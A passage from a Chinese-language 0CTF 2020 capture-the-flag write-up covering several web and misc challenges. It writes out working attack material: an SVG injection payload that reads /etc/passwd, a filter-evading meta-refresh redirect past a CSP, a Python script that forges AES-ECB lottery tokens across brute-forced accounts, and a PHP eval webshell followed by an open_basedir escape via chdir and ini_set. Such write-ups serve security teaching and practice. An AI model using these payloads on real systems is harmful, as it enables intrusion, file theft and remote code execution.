中间坏了一段时间，应该是被人给搞了，大家都去直接读取 flag.h 了。</p><p>猜测可能有人打了 supervisor 的 php-fpm 来 getshell，进而改了 open_basedir。</p><h3 id="noeasyphp"><a href="#noeasyphp" class="headerlink" title="noeasyphp"></a>noeasyphp</h3><p>主办方不甘心，来了个复仇版，disable_functions 更加严格了，并且没有了 supervisor。</p><p>我们上个题的解法应该是预期解法，直接原样 leak 一下方法名，仅仅改了个方法名，然后getflag。所以题出来的时候我们直接把题秒了23333。</p><p>从flag来看，好像是有人打了 php-fpm，因为flag内容是 you can‘t use fpm now 之类的。</p><h3 id="Wechat-Generator"><a href="#Wechat-Generator" class="headerlink" title="Wechat Generator"></a>Wechat Generator</h3><p>一个聊天界面，可以加内容与表情，可以截图。</p><p>加个表情，看一下发送的包：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&#123;&quot;type&quot;:0,&quot;message&quot;:&quot;Love you!&quot;&#125;,&#123;&quot;type&quot;:1,&quot;message&quot;:&quot;[pout]Me too!!!&quot;&#125;]</span><br></pre></td></tr></table></figure><p>表情是中括号扩起来的，share 后查看图片路径：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-159695623b905b1f.png" alt="image.png"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;pwnable.org:5000&#x2F;image&#x2F;fRszcH&#x2F;png</span><br></pre></td></tr></table></figure><p>把png改成html，不支持。改成 svg，可以正常显示，猜测这里使用imagemagick。改成htm也可以，其中表情处：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-50c9f5c17987b9d4.png" alt="image.png"></p><p>可以闭合引号进行 xss，但是 src 关键字被过滤了。</p><p>参考3月空指针公开赛：<a href="https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA">https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA</a></p><p>使用 <code>xlink:href</code>读文件，构造如下payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&#123;&quot;type&quot;:0,&quot;message&quot;:&quot;Love you!&quot;&#125;,&#123;&quot;type&quot;:1,&quot;message&quot;:&quot;[pout\&quot;&#x2F;&gt;&lt;image href&#x3D;\&quot;text:&#x2F;etc&#x2F;passwd\&quot; width&#x3D;\&quot;1000\&quot; height&#x3D;\&quot;1000\&quot;&#x2F;&gt; ]Me too!!!&quot;&#125;]</span><br></pre></td></tr></table></figure><p>可以读取 /etc/passwd：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-546148cd9acbbf6f.png" alt="image.png"></p><p>盲猜直接读取 /app/app.py：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-60ec9cb04ada30dc.png" alt="image.png"></p><p>访问：<a href="http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws">http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws</a></p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-1404f82ce510e8ef.png" alt="image.png"></p><p>需要 alert(1)，但是有csp：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: img-src * data:; default-src &#39;self&#39;; style-src &#39;self&#39; &#39;unsafe-inline&#39;; connect-src &#39;self&#39;; object-src &#39;none&#39;; base-uri &#39;self&#39;</span><br></pre></td></tr></table></figure><p>使用 meta refresh进行跳转，meta被过滤使用双写绕过，构造以下payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&#123;&quot;type&quot;:0,&quot;message&quot;:&quot;Love you!&quot;&#125;,&#123;&quot;type&quot;:1,&quot;message&quot;:&quot;[pout\&quot;&#x2F;&gt;&lt;memetata http-equiv&#x3D;\&quot;refresh\&quot; content&#x3D;\&quot;0; url&#x3D;http:&#x2F;&#x2F;*****\&quot;&gt;&lt;&#x2F;memetata&gt;\&quot;]Me too!!!&quot;&#125;]</span><br></pre></td></tr></table></figure><p><img src="https://upload-images.jianshu.io/upload_images/9223743-78de0f37e1b8b635.png" alt="image.png"></p><p>服务器上是:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>得到路径，换成htm后缀，提交：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-6abbf2c7415b6841.png" alt="image.png"></p><h3 id="lottery"><a href="#lottery" class="headerlink" title="lottery"></a>lottery</h3><p>分析题目，初始账户 30 个 coin，需要 99 个 coin 买 flag，花 10 个coin买彩票，得到的回报一般小于等于 10 个coin。</p><p>流程大体如下：</p><ol><li>登陆账户，返回api_token；</li><li>点击买彩票，向 <code>/lottery/buy</code> 接口发送 api_token，返回 enc（加密的订单信息）。</li><li>向 <code>/lottery/info</code> 接口发送 enc，得到订单信息。（lottery的uuid，user的uuid以及得到的coin）</li><li>点击charge，向<code>/lottery/charge</code>接口发送 user的uuid、coin以及enc，服务端对enc解密，校验 useruuid，无误把解密得到的coin加到user uuid 对应的user上。</li></ol><p>分析关键的enc，拿两次 buy 得到的enc对比，发现是 16 字节一组，一共 8 组，中间还有一些组密文相同，不难得出加密模式是 AES ECB模式。<code>/lottery/info</code>接口提供了 enc 解密的信息，我们可以保持一个enc不变，另一个enc每个分组分别替换成不变的enc对应的分组，依次对比解密信息的不同，可以发现user uuid涉及四个分组，从第四个分组到倒数第二个分组。</p><p>以 uuid 为 390e0a78-49ff-4264-8ddd-8b902319d189 为例。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">第四组： xxxxxxxxxxxxxx39</span><br><span class="line">第五组： 0e0a78-49ff-4264</span><br><span class="line">第六组： -8ddd-8b902319d1</span><br><span class="line">第七组： 89xxxxxxxxxxxxxx</span><br></pre></td></tr></table></figure><p>我们有一个账户A，可以正常买彩票，如果我们找到一个uuid 前两位和后两位与账户A相同的账户B，那么我们可以用账户B buy 彩票，得到 enc 后把charge得钱的账户改成账户A（把enc第五组与第六组替换成账户A的密文），这样就把得到的钱转到A上了，并且买彩票用的是B账户的coin。多找几个这样的账户B，把钱都转到账户A上，就可以得到99个coin了。</p><p>我们需要爆破一堆 uuid 的前两位和后两位都一样的账户，然后把转到一个账户上。运气好的话大概需要爆五六个这样的账户。</p><p>爆破很慢… 采用多进程方式，脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool, Manager, Value</span><br><span class="line"><span class="keyword">import</span> random, string</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">register</span>(<span class="params"><span class="built_in">dict</span>, now_num</span>):</span></span><br><span class="line">    user = <span class="string">&quot;&quot;</span>.join([random.choice(string.printable) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>)])</span><br><span class="line">    session = requests.Session()</span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;password&quot;</span>: user, <span class="string">&quot;username&quot;</span>: user&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://pwnable.org:2333&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://pwnable.org:2333/index.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://pwnable.org:2333/user/register&quot;</span>, data=paramsPost, headers=headers)</span><br><span class="line">    data = response.content.strip()</span><br><span class="line">    data = json.loads(data)</span><br><span class="line">    uuid = data[<span class="string">&quot;user&quot;</span>][<span class="string">&quot;uuid&quot;</span>]</span><br><span class="line">    key = uuid[:<span class="number">2</span>] + uuid[<span class="number">-2</span>:]</span><br><span class="line">    resp = session.post(<span class="string">&quot;http://pwnable.org:2333/user/login&quot;</span>, data=&#123;<span class="string">&#x27;username&#x27;</span>: user, <span class="string">&#x27;password&#x27;</span>: user&#125;)</span><br><span class="line">    data = json.loads(resp.content.strip())</span><br><span class="line">    api_token = data[<span class="string">&quot;user&quot;</span>][<span class="string">&quot;api_token&quot;</span>]</span><br><span class="line">    <span class="keyword">if</span> key <span class="keyword">in</span> <span class="built_in">dict</span>:</span><br><span class="line">        tmp = <span class="built_in">dict</span>[key]</span><br><span class="line">        tmp.append(api_token)</span><br><span class="line">        <span class="built_in">dict</span>[key] = tmp</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        tmp = [api_token]</span><br><span class="line">        <span class="built_in">dict</span>[key] = tmp</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(<span class="built_in">dict</span>[key]) &gt; now_num[<span class="string">&quot;num&quot;</span>]:</span><br><span class="line">        now_num[<span class="string">&quot;num&quot;</span>] = <span class="built_in">len</span>(<span class="built_in">dict</span>[key])</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;now amount: %s,now api_token: %s&quot;</span> % (now_num[<span class="string">&quot;num&quot;</span>], <span class="built_in">dict</span>[key])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">processPools</span>():</span></span><br><span class="line">    num = <span class="number">10</span></span><br><span class="line">    pool = Pool(processes=num)</span><br><span class="line">    jobs = []</span><br><span class="line">    manager = Manager()</span><br><span class="line">    <span class="built_in">dict</span> = manager.<span class="built_in">dict</span>()</span><br><span class="line">    now_num = manager.<span class="built_in">dict</span>()</span><br><span class="line">    now_num[<span class="string">&quot;num&quot;</span>] = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span> ** <span class="number">16</span>):</span><br><span class="line">        job = pool.apply_async(register, (<span class="built_in">dict</span>, now_num))</span><br><span class="line">        jobs.append(job)</span><br><span class="line">    pool.close()</span><br><span class="line">    pool.join()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">charge</span>(<span class="params">user, coin, enc</span>):</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line"></span><br><span class="line">    paramsPost = &#123;</span><br><span class="line">        <span class="string">&quot;enc&quot;</span>: enc,</span><br><span class="line">        <span class="string">&quot;user&quot;</span>: user, <span class="string">&quot;coin&quot;</span>: coin&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://pwnable.org:2333&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;*/*&quot;</span>, <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://pwnable.org:2333/lottery.html&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>, <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded; charset=UTF-8&quot;</span>&#125;</span><br><span class="line">    response = session.post(<span class="string">&quot;http://pwnable.org:2333/lottery/charge&quot;</span>, data=paramsPost, headers=headers)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;invalid&quot;</span> <span class="keyword">in</span> response.content:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;error!&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>(<span class="params">api_token_list</span>):</span></span><br><span class="line">    account = api_token_list[<span class="number">0</span>]</span><br><span class="line">    other = api_token_list[<span class="number">1</span>:]</span><br><span class="line">    data = requests.get(<span class="string">&quot;http://pwnable.org:2333/user/info&quot;</span>, params=&#123;<span class="string">&#x27;api_token&#x27;</span>: account&#125;).content.strip()</span><br><span class="line">    uuid = json.loads(data)[<span class="string">&quot;user&quot;</span>][<span class="string">&quot;uuid&quot;</span>]</span><br><span class="line">    data = requests.post(<span class="string">&#x27;http://pwnable.org:2333/lottery/buy&#x27;</span>, data=&#123;<span class="string">&#x27;api_token&#x27;</span>: account&#125;).content.strip()</span><br><span class="line">    enc = json.loads(data)[<span class="string">&#x27;enc&#x27;</span>]</span><br><span class="line">    middle = b64decode(enc)[<span class="number">-64</span>:<span class="number">-32</span>]</span><br><span class="line">    data = requests.post(<span class="string">&quot;http://pwnable.org:2333/lottery/info&quot;</span>, data=&#123;<span class="string">&#x27;enc&#x27;</span>: enc&#125;).content.strip()</span><br><span class="line">    coin = json.loads(data)[<span class="string">&#x27;info&#x27;</span>][<span class="string">&#x27;coin&#x27;</span>]</span><br><span class="line">    charge(uuid, coin, enc)</span><br><span class="line">    <span class="keyword">for</span> api_token <span class="keyword">in</span> other:</span><br><span class="line">        <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">            data = requests.post(<span class="string">&#x27;http://pwnable.org:2333/lottery/buy&#x27;</span>, data=&#123;<span class="string">&#x27;api_token&#x27;</span>: api_token&#125;).content.strip()</span><br><span class="line">            enc = json.loads(data)[<span class="string">&#x27;enc&#x27;</span>]</span><br><span class="line">            data = requests.post(<span class="string">&quot;http://pwnable.org:2333/lottery/info&quot;</span>, data=&#123;<span class="string">&#x27;enc&#x27;</span>: enc&#125;).content.strip()</span><br><span class="line">            coin = json.loads(data)[<span class="string">&#x27;info&#x27;</span>][<span class="string">&#x27;coin&#x27;</span>]</span><br><span class="line">            tmp = b64decode(enc)</span><br><span class="line">            new_enc = b64encode(tmp[:<span class="number">-64</span>] + middle + tmp[<span class="number">-32</span>:])</span><br><span class="line">            <span class="keyword">assert</span> <span class="built_in">len</span>(b64decode(new_enc)) == <span class="number">128</span></span><br><span class="line">            charge(uuid, coin, new_enc)</span><br><span class="line">    data = requests.get(<span class="string">&quot;http://pwnable.org:2333/user/info&quot;</span>, params=&#123;<span class="string">&#x27;api_token&#x27;</span>: account&#125;).content.strip()</span><br><span class="line">    <span class="built_in">print</span> data</span><br><span class="line">    data = requests.post(<span class="string">&quot;http://pwnable.org:2333/flag&quot;</span>, data=&#123;<span class="string">&#x27;api_token&#x27;</span>: account&#125;).content.strip()</span><br><span class="line">    <span class="built_in">print</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    api_token_list = [<span class="string">&#x27;s4XmpFIYOMnM3YvSRq5MvNSabOheYocT&#x27;</span>, <span class="string">&#x27;p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW&#x27;</span>, <span class="string">&#x27;GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L&#x27;</span>, <span class="string">&#x27;GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP&#x27;</span>,</span><br><span class="line">                      <span class="string">&#x27;HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo&#x27;</span>]</span><br><span class="line">    exp(api_token_list)</span><br><span class="line">    <span class="comment"># processPools()</span></span><br><span class="line">    <span class="comment"># charge()</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先运行 <code>processPools</code>函数爆破账户，大概爆到 7 个，差不多了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"> ✘ ⚙  2020 0CTF  python lottery.py</span><br><span class="line">now amount: 1,now api_token: [u<span class="string">&#x27;dz9ilcIVnOCUbyUxZtUsDHRKBmqKTWYf&#x27;</span>]</span><br><span class="line">now amount: 2,now api_token: [u<span class="string">&#x27;2KfQgLss4EuZLMP2iTttEWOvxq1pmLUH&#x27;</span>, u<span class="string">&#x27;SDZIRWRUicmv85Hckj2FxCumrisGKmxl&#x27;</span>]</span><br><span class="line">now amount: 3,now api_token: [u<span class="string">&#x27;NAdG5IiRWlmxYm4wzjQqa1q8Xe5161S4&#x27;</span>, u<span class="string">&#x27;sfpKMPQ7tnvNC2WlvppGioIc4SCn6gKy&#x27;</span>, u<span class="string">&#x27;Fgj3zGX8NyFPCqlF3HloEfWdaonW3Mz8&#x27;</span>]</span><br><span class="line">now amount: 4,now api_token: [u<span class="string">&#x27;Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p&#x27;</span>, u<span class="string">&#x27;LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg&#x27;</span>, u<span class="string">&#x27;TZvfPzGPW03PlynxFCCFpDVTli2xcu4O&#x27;</span>, u<span class="string">&#x27;Nipjkdoz3hAne81ihDzM9REMtnplJUkh&#x27;</span>]</span><br><span class="line">now amount: 5,now api_token: [u<span class="string">&#x27;Z2LezEeeKU9iaU8K0MhNV8R6UBKwYn7p&#x27;</span>, u<span class="string">&#x27;LE7f7JzgFHjefO1S0NAtlI0X1xXEzLRg&#x27;</span>, u<span class="string">&#x27;TZvfPzGPW03PlynxFCCFpDVTli2xcu4O&#x27;</span>, u<span class="string">&#x27;Nipjkdoz3hAne81ihDzM9REMtnplJUkh&#x27;</span>, u<span class="string">&#x27;0kH6ATi6o24iBUZHorJ1ArdV23GVJuMr&#x27;</span>]</span><br><span class="line">now amount: 6,now api_token: [u<span class="string">&#x27;s4XmpFIYOMnM3YvSRq5MvNSabOheYocT&#x27;</span>, u<span class="string">&#x27;p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE&#x27;</span>, u<span class="string">&#x27;jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW&#x27;</span>, u<span class="string">&#x27;GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL&#x27;</span>, u<span class="string">&#x27;V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L&#x27;</span>, u<span class="string">&#x27;GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP&#x27;</span>]</span><br><span class="line">now amount: 7,now api_token: [u<span class="string">&#x27;s4XmpFIYOMnM3YvSRq5MvNSabOheYocT&#x27;</span>, u<span class="string">&#x27;p8wRiFb5r17EUBxC9BcAV2NwKlxY6EXE&#x27;</span>, u<span class="string">&#x27;jaJO0sOcyuU8GedKDTfOTTMsdA0GeXtW&#x27;</span>, u<span class="string">&#x27;GBRa6X6ZPM15Hrd15vZzNmwbswMsTcxL&#x27;</span>, u<span class="string">&#x27;V29GALnpgMFSjy5nYcGIm4Q3wWbaRE5L&#x27;</span>, u<span class="string">&#x27;GaI4LnuYXhA7oUos4hiTbTvnFs1v9DnP&#x27;</span>, u<span class="string">&#x27;HDfi2mG5n8j8pygZcbSiLyM7nrozjPxo&#x27;</span>]</span><br></pre></td></tr></table></figure><p>把 api_token 复制下来，运行 <code>exp</code>函数，一个账户可以转三次。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> ✘ ⚙  2020 0CTF  python lottery.py</span><br><span class="line">&#123;<span class="string">&quot;user&quot;</span>:&#123;<span class="string">&quot;id&quot;</span>:538474,<span class="string">&quot;uuid&quot;</span>:<span class="string">&quot;8f97310b-6784-41a0-8e1f-714266517dbd&quot;</span>,<span class="string">&quot;username&quot;</span>:<span class="string">&quot;&#x27;\&quot;*Lv&quot;</span>,<span class="string">&quot;api_token&quot;</span>:<span class="string">&quot;s4XmpFIYOMnM3YvSRq5MvNSabOheYocT&quot;</span>,<span class="string">&quot;coin&quot;</span>:115,<span class="string">&quot;created_at&quot;</span>:<span class="string">&quot;2020-06-29T08:04:30.000000Z&quot;</span>,<span class="string">&quot;updated_at&quot;</span>:<span class="string">&quot;2020-06-29T09:03:55.000000Z&quot;</span>&#125;&#125;</span><br><span class="line">&#123;<span class="string">&quot;flag&quot;</span>:<span class="string">&quot;flag&#123;f1d6356a-4288-4a13-a28a-78da73328493&#125;&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>PS：这种做法是换userid，也可以换 lottery 的uuid，这样只需要爆破uuid前两位的user了，更快也不用多进程了。</p><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="cloud-computing"><a href="#cloud-computing" class="headerlink" title="cloud computing"></a>cloud computing</h3><p>打开题目，看起来可以写一个 webshell：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span> <span class="string">&#x27;function.php&#x27;</span>;</span><br><span class="line"></span><br><span class="line">$dir = <span class="string">&#x27;sandbox/&#x27;</span> . sha1($_SERVER[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>] . $_SERVER[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]) . <span class="string">&#x27;/&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!file_exists($dir))&#123;</span><br><span class="line">  mkdir($dir);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span> ($_GET[<span class="string">&quot;action&quot;</span>] ?? <span class="string">&quot;&quot;</span>) &#123;</span><br><span class="line">  <span class="keyword">case</span> <span class="string">&#x27;pwd&#x27;</span>:</span><br><span class="line">    <span class="keyword">echo</span> $dir;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  <span class="keyword">case</span> <span class="string">&#x27;upload&#x27;</span>:</span><br><span class="line">    $data = $_GET[<span class="string">&quot;data&quot;</span>] ?? <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">if</span> (waf($data)) &#123;</span><br><span class="line">      <span class="keyword">die</span>(<span class="string">&#x27;waf sucks...&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    file_put_contents(<span class="string">&quot;<span class="subst">$dir</span>&quot;</span> . <span class="string">&quot;index.php&quot;</span>, $data);</span><br><span class="line">  <span class="keyword">case</span> <span class="string">&#x27;shell&#x27;</span>:</span><br><span class="line">    initShellEnv($dir);</span><br><span class="line">    <span class="keyword">include</span> $dir . <span class="string">&quot;index.php&quot;</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  <span class="keyword">default</span>:</span><br><span class="line">    highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不过 waf 有过滤，可以考虑用数组绕过，file_put_contents 第二个参数是数组时，会把数组内容拼起来，进行写入。</p><p>所以可以构造以下 payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;pwnable.org:47781&#x2F;?action&#x3D;upload&amp;data[0]&#x3D;%3c&amp;data[1]&#x3D;%3f&amp;data[2]&#x3D;php eval($_POST[1]);</span><br></pre></td></tr></table></figure><p>这样就写入了一个webshell，然后发现有 open_basedir限制，使用 chdir绕过。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">error_reporting(-1);mkdir(&#39;sandbox&#x2F;4a3499ebbdf052fa2413cf697e5164184c0d824d&#x2F;gml&#39;);chdir(&#39;sandbox&#x2F;4a3499ebbdf052fa2413cf697e5164184c0d824d&#x2F;gml&#39;);ini_set(&#39;open_basedir&#39;,&#39;..&#39;);chdir(&#39;..&#39;);chdir(&#39;..&#39;);chdir(&#39;..&#39;);chdir(&#39;..&#39;);chdir(&#39;..&#39;);chdir(&#39;..&#39;);ini_set(&#39;open_basedir&#39;,&#39;&#x2F;&#39;);var_dump(scandir(&#39;&#x2F;&#39;));</span><br></pre></td></tr></table></figure><p><img src="https://upload-images.jianshu.io/upload_images/9223743-c966545fe043e73d.png" alt="image.png"></p><p> 读取flag，发现一大堆乱码，好像是个 img，转换成 base64读取，本地拿 foremost 跑一下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">2020 0CTF  foremost 0ctfmisc</span><br><span class="line">foremost: &#x2F;usr&#x2F;local&#x2F;etc&#x2F;foremost.conf: No such file or directory</span><br><span class="line">Processing: 0ctfmisc</span><br><span class="line">|*|</span><br></pre></td></tr></table></figure><p>出了个图片，里面有flag。</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-23081ef4788a5488.png" alt="image.png"></p><h3 id="cloud-computing-v2"><a href="#cloud-computing-v2" class="headerlink" title="cloud computing v2"></a>cloud computing v2</h3><p>复仇版，ban了很多，chdir也不能用了，甚至 